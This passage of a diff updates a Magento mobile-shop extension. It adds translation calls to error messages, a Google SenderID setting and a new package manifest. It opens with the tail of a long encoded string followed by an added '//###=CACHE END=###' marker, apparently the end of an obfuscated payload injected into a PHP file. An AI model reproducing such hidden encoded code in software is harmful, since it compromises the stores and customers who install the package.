wZ2LlVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
99
+ //###=CACHE END=###
app/code/local/Mss/Pushnotification/Helper/Data.php CHANGED
@@ -116,7 +116,7 @@ class Mss_Pushnotification_Helper_Data extends Mage_Core_Helper_Abstract
116
 
117
  $fields = array(
118
  'registration_ids' => $registration_id,
119
- 'data' => $message
120
 
121
  );
122
 
116
 
117
  $fields = array(
118
  'registration_ids' => $registration_id,
119
+ 'data' => $this->__($message)
120
 
121
  );
122
 
app/code/local/Mss/Pushnotification/etc/system.xml CHANGED
@@ -138,6 +138,14 @@
138
  <show_in_website>1</show_in_website>
139
  <show_in_store>1</show_in_store>
140
  </googlekey>
 
 
 
 
 
 
 
 
141
  <notificationimage translate="label comment">
142
  <label>Notification Icon : </label>
143
  <comment>Allowed file types: .jpeg,.png,.gif.(only for android)</comment>
@@ -145,7 +153,7 @@
145
  <backend_model>pushnotification/system_config_backend_image</backend_model>
146
  <upload_dir config="system/filesystem/media" scope_info="1">notification</upload_dir>
147
  <base_url type="media" scope_info="1">notification</base_url>
148
- <sort_order>3</sort_order>
149
  <show_in_default>1</show_in_default>
150
  <show_in_website>1</show_in_website>
151
  <show_in_store>1</show_in_store>
138
  <show_in_website>1</show_in_website>
139
  <show_in_store>1</show_in_store>
140
  </googlekey>
141
+ <googlesenderid translate="label">
142
+ <label>Google SenderID</label>
143
+ <frontend_type>text</frontend_type>
144
+ <sort_order>3</sort_order>
145
+ <show_in_default>1</show_in_default>
146
+ <show_in_website>1</show_in_website>
147
+ <show_in_store>1</show_in_store>
148
+ </googlesenderid>
149
  <notificationimage translate="label comment">
150
  <label>Notification Icon : </label>
151
  <comment>Allowed file types: .jpeg,.png,.gif.(only for android)</comment>
153
  <backend_model>pushnotification/system_config_backend_image</backend_model>
154
  <upload_dir config="system/filesystem/media" scope_info="1">notification</upload_dir>
155
  <base_url type="media" scope_info="1">notification</base_url>
156
+ <sort_order>4</sort_order>
157
  <show_in_default>1</show_in_default>
158
  <show_in_website>1</show_in_website>
159
  <show_in_store>1</show_in_store>
app/code/local/Mss/Sociallogin/Helper/Data.php CHANGED
@@ -6,7 +6,6 @@ class Mss_Sociallogin_Helper_Data extends Mage_Core_Helper_Abstract
6
  private $f_url = 'https://graph.facebook.com/me?fields=first_name,last_name,gender,email&format=json&access_token=';
7
  private $g_url = 'https://www.googleapis.com/oauth2/v1/userinfo?alt=json&alt=json&access_token=';
8
  private $sociallogin_type;
9
-
10
 
11
  public function socialloginRequest($token,$sociallogintype){
12
 
@@ -27,7 +26,7 @@ class Mss_Sociallogin_Helper_Data extends Mage_Core_Helper_Abstract
27
  private function sociallogin_support($sociallogintype)
28
  {
29
  if(!in_array($sociallogintype, $this->sociallogin_support)):
30
- echo json_encode(array('status'=>'error','message'=>'Social Login is not supported by Magentomobileshop.'));
31
  exit;
32
  else:
33
  return true;
@@ -45,7 +44,7 @@ class Mss_Sociallogin_Helper_Data extends Mage_Core_Helper_Abstract
45
  $this->getgoogledetails($token);
46
  break;
47
  default:
48
- echo json_encode(array('status'=>'error','message'=>'Social Login is not supported by Magentomobileshop.'));
49
  exit;
50
  }
51
  }
@@ -58,7 +57,7 @@ class Mss_Sociallogin_Helper_Data extends Mage_Core_Helper_Abstract
58
  if($response->email):
59
  $this->checkuser($response);
60
  else:
61
- echo json_encode(array('status'=>'error','message'=>'Token is invalid.'));
62
  exit;
63
  endif;
64
  }
@@ -72,7 +71,7 @@ class Mss_Sociallogin_Helper_Data extends Mage_Core_Helper_Abstract
72
  if($response->email):
73
  $this->checkuser($response);
74
  else:
75
- echo json_encode(array('status'=>'error','message'=>'Token is invalid.'));
76
  exit;
77
  endif;
78
 
@@ -92,7 +91,7 @@ class Mss_Sociallogin_Helper_Data extends Mage_Core_Helper_Abstract
92
  endif;
93
  }
94
  catch(exception $e){
95
- echo json_encode(array('status'=>'error','message'=>$e->getMessage()));
96
  exit;
97
  }
98
 
@@ -114,7 +113,7 @@ class Mss_Sociallogin_Helper_Data extends Mage_Core_Helper_Abstract
114
  $customer->save();
115
  if ($customer->isConfirmationRequired ()):
116
  $customer->sendNewAccountEmail ( 'confirmation', $session->getBeforeAuthUrl (), Mage::app ()->getStore ()->getId () );
117
- echo json_encode(array('status'=>'error','message'=>'Account confirmation required.'));
118
  exit;
119
  else:
120
  $session->setCustomerAsLoggedIn($customer);
@@ -126,7 +125,7 @@ class Mss_Sociallogin_Helper_Data extends Mage_Core_Helper_Abstract
126
 
127
  }
128
  catch(Exception $ex){
129
- echo json_encode(array('status'=>'error','message'=>'Error in creating user account.'));
130
  exit;
131
  }
132
 
6
  private $f_url = 'https://graph.facebook.com/me?fields=first_name,last_name,gender,email&format=json&access_token=';
7
  private $g_url = 'https://www.googleapis.com/oauth2/v1/userinfo?alt=json&alt=json&access_token=';
8
  private $sociallogin_type;
 
9
 
10
  public function socialloginRequest($token,$sociallogintype){
11
 
26
  private function sociallogin_support($sociallogintype)
27
  {
28
  if(!in_array($sociallogintype, $this->sociallogin_support)):
29
+ echo json_encode(array('status'=>'error','message'=> $this->__('Social Login is not supported by Magentomobileshop.')));
30
  exit;
31
  else:
32
  return true;
44
  $this->getgoogledetails($token);
45
  break;
46
  default:
47
+ echo json_encode(array('status'=>'error','message'=> $this->__('Social Login is not supported by Magentomobileshop.')));
48
  exit;
49
  }
50
  }
57
  if($response->email):
58
  $this->checkuser($response);
59
  else:
60
+ echo json_encode(array('status'=>'error','message'=> $this->__('Token is invalid.')));
61
  exit;
62
  endif;
63
  }
71
  if($response->email):
72
  $this->checkuser($response);
73
  else:
74
+ echo json_encode(array('status'=>'error','message'=> $this->__('Token is invalid.')));
75
  exit;
76
  endif;
77
 
91
  endif;
92
  }
93
  catch(exception $e){
94
+ echo json_encode(array('status'=>'error','message'=> $this->__($e->getMessage())));
95
  exit;
96
  }
97
 
113
  $customer->save();
114
  if ($customer->isConfirmationRequired ()):
115
  $customer->sendNewAccountEmail ( 'confirmation', $session->getBeforeAuthUrl (), Mage::app ()->getStore ()->getId () );
116
+ echo json_encode(array('status'=>'error','message'=> $this->__('Account confirmation required.')));
117
  exit;
118
  else:
119
  $session->setCustomerAsLoggedIn($customer);
125
 
126
  }
127
  catch(Exception $ex){
128
+ echo json_encode(array('status'=>'error','message'=> $this->__('Error in creating user account.')));
129
  exit;
130
  }
131
 
package.xml CHANGED
@@ -1,18 +1,18 @@
1
  <?xml version="1.0"?>
2
  <package>
3
  <name>Mss_Connector</name>
4
- <version>1.4.6</version>
5
  <stability>stable</stability>
6
  <license>OSL v1.0</license>
7
  <channel>community</channel>
8
  <extends/>
9
- <summary>Mobile app for Android and Iphone</summary>
10
- <description>Mobile app for Android and Iphone</description>
11
- <notes>Banner caching added to load product more faster.</notes>
12
  <authors><author><name>mss</name><user>mss</user><email>mss.yogendra@gmail.com</email></author></authors>
13
- <date>2016-04-11</date>
14
- <time>13:44:20</time>
15
- <contents><target name="magelocal"><dir name="Mss"><dir name="Bannerslider"><dir name="Block"><dir name="Adminhtml"><dir name="Bannerslider"><dir name="Edit"><file name="Form.php" hash="e3aac16542691916765e57238b3679a5"/><dir name="Tab"><file name="Form.php" hash="2aa3ba5ce44ad1ce15393b208008a4f4"/></dir><file name="Tabs.php" hash="d9421ac78bfe2f678b7514e6eea19ade"/></dir><file name="Edit.php" hash="9bca5bea62d4cedb8e458022fa683f92"/><file name="Grid.php" hash="8243e69694f860a3be9b4b2447b04843"/><dir name="Helper"><file name="Image.php" hash="f468b25e5344015483e0519da10bdd43"/></dir></dir><file name="Grid.php" hash="fbf2ede9f191ff040fa7b21e98ac440d"/><dir name="Renderer"><file name="Image.php" hash="451a2fc188826a8cbaee1ea6fc692435"/></dir></dir></dir><dir name="Helper"><file name="Data.php" hash="5c691c3ae014305937e38418706c1c66"/></dir><dir name="Model"><file name="Bannerslider.php" hash="cd768d1bc28ed0a4c1d65d148252227d"/><dir name="Mysql4"><dir name="Bannerslider"><file name="Collection.php" hash="564694cc9b21e2e0a3c5202a6cc2eb99"/></dir><file name="Bannerslider.php" hash="46fc65447f3e41dbbe6194ddf9395e45"/></dir><file name="Observer.php" hash="b3bfac53fe96e0b10ddfeb8eed5bafd0"/></dir><dir name="controllers"><dir name="Adminhtml"><file name="BannersliderController.php" hash="d06ad8e6fd2c82a6c483e0a7246f985e"/></dir><file name="BannerController.php" hash="c3f2cc84c3199eeb47b647b0f4e453d7"/></dir><dir name="etc"><file name="adminhtml.xml" hash="31787cf6a7b306a7fbc8522d8933473c"/><file name="config.xml" hash="34154e2434504e7c0769776199a2cc82"/></dir><dir name="sql"><dir name="bannerslider_setup"><file name="mysql4-install-0.1.0.php" hash="d668f47b50c8910ad91e802afc718ba7"/></dir></dir></dir><dir name="Connector"><dir name="Block"><dir name="Adminhtml"><file name="Notifications.php" hash="6f24014b5a24a4f56410e9754b8aa2d5"/></dir><dir name="System"><dir name="Config"><file name="About.php" hash="2e9dc040ee2d42a57d5c9411f0b999e4"/><file name="Authorizenet.php" hash="ed644e9814fef74147bdddf24cfd75c1"/><file name="Banktransfer.php" hash="77f6ebf2074462cdadf4bccbe2f0d19a"/><file name="Checkmo.php" hash="edfc0fc0b233cd349392e563eeac57ed"/><file name="Cod.php" hash="37d1757764340fd02b8be7ac32434967"/><file name="Mpaypal.php" hash="e69d6a2d58618cf741d4cf503ede70ca"/><file name="Payu.php" hash="d0307013bdf58700a29aa7838ee94e51"/></dir></dir></dir><dir name="Helper"><file name="Data.php" hash="141759dea4d79d818c52231fe75f0686"/></dir><dir name="Model"><file name="Connector.php" hash="e9a927bc0a5974d092ab3af257ee7607"/><dir name="Mysql4"><dir name="Connector"><file name="Collection.php" hash="1f3bb37f160abdf974859f7419a19b65"/></dir><file name="Connector.php" hash="185189264d3275af813349e721ee46fb"/></dir><file name="Observer.php" hash="76ce9764a22c476e8de63923e30ece15"/></dir><dir name="controllers"><file name="CartController.php" hash="081c18a343c5444214717c26aacefe8c"/><file name="CreditController.php" hash="fb099f5c645b2008bf058b8e22f7b1ec"/><file name="CustomerController.php" hash="46351cd896aa3c983b681ba58312c7d8"/><file name="FeedbackController.php" hash="89517e40acba9d69cd15ff5ea304da79"/><file name="IndexController.php" hash="5695998830cc9fa2b4a8dbada39a8490"/><file name="ItemController.php" hash="698151aa101aec7e80e3f050ce51dc85"/><file name="ItemsController.php" hash="88e5703407cc970c98698419915393f2"/><file name="MenuController.php" hash="63a3ae898fa75e4755d06bd2ddb592e1"/><file name="ProductsController.php" hash="f693df70aa9071bd46ada0af96c61f48"/><file name="SearchController.php" hash="5d1d8975f7a3351d5833c6ad08ecf52b"/><file name="StaticpagesController.php" hash="2c593c6e2328512e2ee966119e18ba44"/><file name="StoreController.php" hash="86b038731080c68ae1e567958b36895c"/><file name="StoreinfoController.php" hash="f37535c137f93dbb8d2eaab9f2f67865"/><file name="TokenController.php" hash="5df87c80c3a9a4832d0ce3580d65dff8"/><file name="WishlistController.php" hash="9a72d73131b3ff380b53ca54fc8361f8"/><file name="_new_ProductsController.php" hash="08523bd31a97f2018cb08f31dfce005d"/></dir><dir name="etc"><file name="adminhtml.xml" hash="77dc75e2c5e73755764a79e08cc7c668"/><file name="config.xml" hash="2947e27875c1c90aa9ba00d771a7d655"/><file name="system.xml" hash="40b6555fa986d797ad206d674204e477"/></dir><dir name="sql"><dir name="connector_setup"><file name="mysql4-install-0.1.0.php" hash="4325ba30b21f9680b11d4b124b9e8181"/><file name="mysql4-upgrade-0.1.0-0.1.1.php" hash="eaa00e880b38ba41580b67785b33ed10"/></dir></dir></dir><dir name="Mpaypal"><dir name="Helper"><file name="Data.php" hash="c3ba57e7cc86210346b1b3f279083c0f"/></dir><dir name="Model"><file name="Mpaypal.php" hash="f49b32aad7d7bed49333534139fd07b7"/><file name="Observer.php" hash="4b92aaf547f0b080d8495cf064574d10"/></dir><dir name="controllers"><file name="IndexController.php" hash="4db5576f750fdf7b1b8b441ddaad9c8b"/></dir><dir name="etc"><file name="config.xml" hash="9ed76ff53b5e0232b4ea442a7e046b14"/><file name="system.xml" hash="2f51ad686858a69e07e8c21baf5d690e"/></dir></dir><dir name="Payu"><dir name="Block"><file name="Index.php" hash="db5ffd63f6cbb9f3320fde4829fcad35"/></dir><dir name="Helper"><file name="Data.php" hash="7800e0e58258b78d0f23a7fec482d120"/></dir><dir name="controllers"><file name="IndexController.php" hash="639ed0868e2a6b1bdbf6444f87565565"/></dir><dir name="etc"><file name="config.xml" hash="c6867fb0cc7efdde39c32a3ecbf62433"/></dir></dir><dir name="Pushnotification"><dir name="Block"><dir name="Adminhtml"><file name="Pushnotificationbackend.php" hash="6b9e143ee7b5fe4fc2642eee977b44bf"/></dir></dir><dir name="Helper"><file name="Data.php" hash="cad971167c1b59a1fdbd967132c61899"/></dir><dir name="Model"><dir name="Entity"><file name="Resource.php" hash="93b6a261762541433fa601aefb60d0a7"/></dir><dir name="Mysql4"><dir name="Pushnotification"><file name="Collection.php" hash="392612adedcb14ec5dcaaa4ea9858091"/></dir><file name="Pushnotification.php" hash="77f6cadb7682377a1de6b275310c1cf6"/></dir><file name="Pushnotification.php" hash="ad5fe0f74049c61402ff99fc32d8164a"/><dir name="System"><dir name="Config"><dir name="Backend"><file name="File.php" hash="d7c74e49b78bb9da3453bd5f414a445f"/><file name="Image.php" hash="e1d98dbf511fe16581b37a8b7b43f5b4"/><file name="Iosmode.php" hash="ff1794ef4844019b7af64192fbd4e122"/></dir></dir></dir></dir><dir name="controllers"><dir name="Adminhtml"><file name="PushnotificationbackendController.php" hash="ec4ebd0ad1cfee78d2e67a69698a14e5"/></dir></dir><dir name="etc"><file name="config.xml" hash="f62215f94167b81c5f73aea794a334c4"/><file name="system.xml" hash="a1c7c7ff8ba587ddafc61cd0fd798c7c"/></dir><dir name="sql"><dir name="pushnotification_setup"><file name="mysql4-upgrade-0.1.5-0.1.6.php" hash="418e997bb72afa725389593d4ca2f111"/></dir></dir></dir><dir name="Sociallogin"><dir name="Helper"><file name="Data.php" hash="33595a283b6d499a1cd9a3b5a74e12e7"/></dir><dir name="Model"><dir name="Mysql4"><file name="Sociallogin.php" hash="b881bc47c5ee70b1c4c02b59501ffbc5"/></dir><file name="Sociallogin.php" hash="0ba90dadb0f34528c2296704c5cea233"/></dir><dir name="etc"><file name="config.xml" hash="eac1dc2364bc283a9cd5326eb7e852a9"/></dir><dir name="sql"><dir name="sociallogin_setup"><file name="mysql4-install-0.1.0.php" hash="163332cb130dae297af332cbefde58f3"/></dir></dir></dir></dir></target><target name="magedesign"><dir><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="template"><dir name="pushnotification"><file name="pushnotificationbackend.phtml" hash="138add7171fdd7fb326abc4a4f9dbe5a"/></dir><dir name="connector"><file name="notification.phtml" hash="164e5f9e7dcfc5c2d2451f0e77776d77"/></dir></dir><dir name="layout"><file name="bannerslider.xml" hash="a5a76f30bbedca5804646d53e783cdac"/><file name="pushnotification.xml" hash="f7fd974e63c4c7eb5ffac7b059470946"/><file name="connector.xml" hash="97cea6186b75948e6ed0d71da7b48710"/></dir></dir></dir></dir><dir name="frontend"><dir name="base"><dir name="default"><dir name="layout"><file name="payu.xml" hash="473595488f536cb588c5588a744915a3"/><file name="mpaypal.xml" hash="7b75c5bed6f3142c8bc9e4c1233bf1e9"/></dir><dir name="template"><dir name="payu"><file name="index.phtml" hash="5f54a8eb245364534e7695b1a8fcbf30"/><file name="test.phtml" hash="da4701ff5b2c64444a49f77571e8a00c"/></dir><dir name="mpaypal"><file name="index.phtml" hash="df077c063b2006b9321c96cd6744b19f"/></dir></dir></dir></dir></dir></dir></target><target name="mageetc"><dir><dir name="modules"><file name="Mss_Bannerslider.xml" hash="7d03ee71d8e860c51478aff5200b0deb"/><file name="Mss_Connector.xml" hash="ba8a5609c9c8c3636f183c5bfe04d664"/><file name="Mss_Payu.xml" hash="5feac03d698b481473223fbe6a8814b1"/><file name="Mss_Pushnotification.xml" hash="2e8e9bc56a5f0ff8bb42f43fb5a3a3db"/><file name="Mss_Sociallogin.xml" hash="8671199bdad3bdecbfe0c47ce9ff05e6"/><file name="Mss_Mpaypal.xml" hash="4d6a7f8d862de8c449b1366727ef0a6d"/></dir></dir></target><target name="mageskin"><dir><dir name="frontend"><dir name="base"><dir name="default"><dir name="images"><dir name="magentomobileshop"><file name="magentomobileshop_loader.gif" hash="453272c9cacd32efe6465961ea8a61dd"/></dir></dir></dir></dir></dir></dir></target></contents>
16
  <compatible/>
17
  <dependencies><required><php><min>5.3.0</min><max>7.0.5</max></php></required></dependencies>
18
  </package>
1
  <?xml version="1.0"?>
2
  <package>
3
  <name>Mss_Connector</name>
4
+ <version>2.0.0</version>
5
  <stability>stable</stability>
6
  <license>OSL v1.0</license>
7
  <channel>community</channel>
8
  <extends/>
9
+ <summary>Mobile Multi store app for Android and Iphone</summary>
10
+ <description>Mobile Multistore app for Android and Iphone</description>
11
+ <notes>Magento Mobile Shop Multistore stable version released. </notes>
12
  <authors><author><name>mss</name><user>mss</user><email>mss.yogendra@gmail.com</email></author></authors>
13
+ <date>2016-04-21</date>
14
+ <time>11:49:40</time>
15
+ <contents><target name="magelocal"><dir name="Mss"><dir name="Bannerslider"><dir name="Block"><dir name="Adminhtml"><dir name="Bannerslider"><dir name="Edit"><file name="Form.php" hash="e3aac16542691916765e57238b3679a5"/><dir name="Tab"><file name="Form.php" hash="2aa3ba5ce44ad1ce15393b208008a4f4"/></dir><file name="Tabs.php" hash="d9421ac78bfe2f678b7514e6eea19ade"/></dir><file name="Edit.php" hash="9bca5bea62d4cedb8e458022fa683f92"/><file name="Grid.php" hash="8243e69694f860a3be9b4b2447b04843"/><dir name="Helper"><file name="Image.php" hash="f468b25e5344015483e0519da10bdd43"/></dir></dir><file name="Grid.php" hash="fbf2ede9f191ff040fa7b21e98ac440d"/><dir name="Renderer"><file name="Image.php" hash="451a2fc188826a8cbaee1ea6fc692435"/></dir></dir></dir><dir name="Helper"><file name="Data.php" hash="2943733d060971766ca6d5f9498024fb"/></dir><dir name="Model"><file name="Bannerslider.php" hash="cd768d1bc28ed0a4c1d65d148252227d"/><dir name="Mysql4"><dir name="Bannerslider"><file name="Collection.php" hash="564694cc9b21e2e0a3c5202a6cc2eb99"/></dir><file name="Bannerslider.php" hash="46fc65447f3e41dbbe6194ddf9395e45"/></dir><file name="Observer.php" hash="b3bfac53fe96e0b10ddfeb8eed5bafd0"/></dir><dir name="controllers"><dir name="Adminhtml"><file name="BannersliderController.php" hash="18ac4e1526c5c1e34a8e2459ef051b25"/></dir><file name="BannerController.php" hash="6dd6b9f224e8368a0250b9b5af763607"/></dir><dir name="etc"><file name="adminhtml.xml" hash="31787cf6a7b306a7fbc8522d8933473c"/><file name="config.xml" hash="34154e2434504e7c0769776199a2cc82"/></dir><dir name="sql"><dir name="bannerslider_setup"><file name="mysql4-install-0.1.0.php" hash="d668f47b50c8910ad91e802afc718ba7"/></dir></dir></dir><dir name="Connector"><dir name="Block"><dir name="Adminhtml"><file name="Notifications.php" hash="6f24014b5a24a4f56410e9754b8aa2d5"/></dir><dir name="System"><dir name="Config"><file name="About.php" hash="2e9dc040ee2d42a57d5c9411f0b999e4"/><file name="Authorizenet.php" hash="ed644e9814fef74147bdddf24cfd75c1"/><file name="Banktransfer.php" hash="77f6ebf2074462cdadf4bccbe2f0d19a"/><file name="Checkmo.php" hash="edfc0fc0b233cd349392e563eeac57ed"/><file name="Cod.php" hash="37d1757764340fd02b8be7ac32434967"/><file name="Mpaypal.php" hash="e69d6a2d58618cf741d4cf503ede70ca"/><file name="Payu.php" hash="d0307013bdf58700a29aa7838ee94e51"/></dir></dir></dir><dir name="Helper"><file name="Data.php" hash="b51ae561a28511678a7092f94641240b"/></dir><dir name="Model"><file name="Connector.php" hash="e9a927bc0a5974d092ab3af257ee7607"/><dir name="Mysql4"><dir name="Connector"><file name="Collection.php" hash="1f3bb37f160abdf974859f7419a19b65"/></dir><file name="Connector.php" hash="185189264d3275af813349e721ee46fb"/></dir><file name="Observer.php" hash="1e0e34bb8a94b77cb139940dab6f8b38"/></dir><dir name="controllers"><file name="CartController.php" hash="abeccc2a06641c8fa2a6c0064b1debc8"/><file name="CreditController.php" hash="a489dd0ed95914fb2b58491410f6f92f"/><file name="CustomerController.php" hash="101eaf9eedc5cd85dc88d1c757ecf86e"/><file name="FeedbackController.php" hash="2b9e092984c0c64397cd25fe1d2266d5"/><file name="IndexController.php" hash="963015f8af824a14ef76196246bcea28"/><file name="ItemsController.php" hash="bbf85a2f1514ce73e4c0858ebf7d26f9"/><file name="ProductsController.php" hash="f971b4d3f2f5a9512e5ed58f9b16344a"/><file name="StaticpagesController.php" hash="86bfe2d07268507d60c4ee3c8834de08"/><file name="StoreinfoController.php" hash="7a69ee08a394ab866871e82cd8827cd4"/><file name="TokenController.php" hash="ebbb672b1587c84ed914cd67bd7dc529"/><file name="WishlistController.php" hash="082445ed48fde71569305aba02177337"/></dir><dir name="etc"><file name="adminhtml.xml" hash="8b95cfc2f1214ba2d510ec69fad5e1f7"/><file name="config.xml" hash="6fb87fcd384e67ba5efce80748cddccc"/><file name="system.xml" hash="09be5e92b65afa6e91d062b3f7082e57"/></dir><dir name="sql"><dir name="connector_setup"><file name="mysql4-install-0.1.0.php" hash="4325ba30b21f9680b11d4b124b9e8181"/><file name="mysql4-upgrade-0.1.0-0.1.1.php" hash="eaa00e880b38ba41580b67785b33ed10"/></dir></dir></dir><dir name="Mpaypal"><dir name="Helper"><file name="Data.php" hash="c3ba57e7cc86210346b1b3f279083c0f"/></dir><dir name="Model"><file name="Mpaypal.php" hash="f49b32aad7d7bed49333534139fd07b7"/><file name="Observer.php" hash="4b92aaf547f0b080d8495cf064574d10"/></dir><dir name="controllers"><file name="IndexController.php" hash="395be3170c19f220f05ef4edc3ca9d4f"/></dir><dir name="etc"><file name="config.xml" hash="9ed76ff53b5e0232b4ea442a7e046b14"/><file name="system.xml" hash="2f51ad686858a69e07e8c21baf5d690e"/></dir></dir><dir name="Payu"><dir name="Block"><file name="Index.php" hash="a899cb39412ec4155fd0b5e95abc7857"/></dir><dir name="Helper"><file name="Data.php" hash="7800e0e58258b78d0f23a7fec482d120"/></dir><dir name="controllers"><file name="IndexController.php" hash="d0d2fbcbfa8e12c2a8e640db1c23016a"/></dir><dir name="etc"><file name="config.xml" hash="c6867fb0cc7efdde39c32a3ecbf62433"/></dir></dir><dir name="Pushnotification"><dir name="Block"><dir name="Adminhtml"><file name="Pushnotificationbackend.php" hash="6b9e143ee7b5fe4fc2642eee977b44bf"/></dir></dir><dir name="Helper"><file name="Data.php" hash="c60f7196c3b01881dfe079aec2fad39f"/></dir><dir name="Model"><dir name="Entity"><file name="Resource.php" hash="93b6a261762541433fa601aefb60d0a7"/></dir><dir name="Mysql4"><dir name="Pushnotification"><file name="Collection.php" hash="392612adedcb14ec5dcaaa4ea9858091"/></dir><file name="Pushnotification.php" hash="77f6cadb7682377a1de6b275310c1cf6"/></dir><file name="Pushnotification.php" hash="ad5fe0f74049c61402ff99fc32d8164a"/><dir name="System"><dir name="Config"><dir name="Backend"><file name="File.php" hash="d7c74e49b78bb9da3453bd5f414a445f"/><file name="Image.php" hash="e1d98dbf511fe16581b37a8b7b43f5b4"/><file name="Iosmode.php" hash="ff1794ef4844019b7af64192fbd4e122"/></dir></dir></dir></dir><dir name="controllers"><dir name="Adminhtml"><file name="PushnotificationbackendController.php" hash="ec4ebd0ad1cfee78d2e67a69698a14e5"/></dir></dir><dir name="etc"><file name="config.xml" hash="f62215f94167b81c5f73aea794a334c4"/><file name="system.xml" hash="23a622dec8250a355bbaed9e83f1f82d"/></dir><dir name="sql"><dir name="pushnotification_setup"><file name="mysql4-upgrade-0.1.5-0.1.6.php" hash="418e997bb72afa725389593d4ca2f111"/></dir></dir></dir><dir name="Sociallogin"><dir name="Helper"><file name="Data.php" hash="8965f0b6a0127d0965d99987aa0a300c"/></dir><dir name="Model"><dir name="Mysql4"><file name="Sociallogin.php" hash="b881bc47c5ee70b1c4c02b59501ffbc5"/></dir><file name="Sociallogin.php" hash="0ba90dadb0f34528c2296704c5cea233"/></dir><dir name="etc"><file name="config.xml" hash="eac1dc2364bc283a9cd5326eb7e852a9"/></dir><dir name="sql"><dir name="sociallogin_setup"><file name="mysql4-install-0.1.0.php" hash="163332cb130dae297af332cbefde58f3"/></dir></dir></dir></dir></target><target name="magedesign"><dir><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="template"><dir name="pushnotification"><file name="pushnotificationbackend.phtml" hash="138add7171fdd7fb326abc4a4f9dbe5a"/></dir><dir name="connector"><file name="notification.phtml" hash="164e5f9e7dcfc5c2d2451f0e77776d77"/><file name="notification.phtml" hash="164e5f9e7dcfc5c2d2451f0e77776d77"/></dir></dir><dir name="layout"><file name="bannerslider.xml" hash="a5a76f30bbedca5804646d53e783cdac"/><file name="pushnotification.xml" hash="f7fd974e63c4c7eb5ffac7b059470946"/><file name="connector.xml" hash="97cea6186b75948e6ed0d71da7b48710"/><file name="connector.xml" hash="97cea6186b75948e6ed0d71da7b48710"/></dir></dir></dir></dir><dir name="frontend"><dir name="base"><dir name="default"><dir name="layout"><file name="payu.xml" hash="473595488f536cb588c5588a744915a3"/><file name="mpaypal.xml" hash="7b75c5bed6f3142c8bc9e4c1233bf1e9"/></dir><dir name="template"><dir name="payu"><file name="index.phtml" hash="5f54a8eb245364534e7695b1a8fcbf30"/><file name="test.phtml" hash="da4701ff5b2c64444a49f77571e8a00c"/></dir><dir name="mpaypal"><file name="index.phtml" hash="df077c063b2006b9321c96cd6744b19f"/></dir></dir></dir></dir></dir></dir></target><target name="mageetc"><dir><dir name="modules"><file name="Mss_Bannerslider.xml" hash="7d03ee71d8e860c51478aff5200b0deb"/><file name="Mss_Connector.xml" hash="ba8a5609c9c8c3636f183c5bfe04d664"/><file name="Mss_Payu.xml" hash="5feac03d698b481473223fbe6a8814b1"/><file name="Mss_Pushnotification.xml" hash="2e8e9bc56a5f0ff8bb42f43fb5a3a3db"/><file name="Mss_Sociallogin.xml" hash="8671199bdad3bdecbfe0c47ce9ff05e6"/><file name="Mss_Mpaypal.xml" hash="4d6a7f8d862de8c449b1366727ef0a6d"/></dir></dir></target><target name="mageskin"><dir><dir name="frontend"><dir name="base"><dir name="default"><dir name="images"><dir name="magentomobileshop"><file name="magentomobileshop_loader.gif" hash="453272c9cacd32efe6465961ea8a61dd"/></dir></dir></dir></dir></dir></dir></target></contents>
16
  <compatible/>
17
  <dependencies><required><php><min>5.3.0</min><max>7.0.5</max></php></required></dependencies>
18
  </package>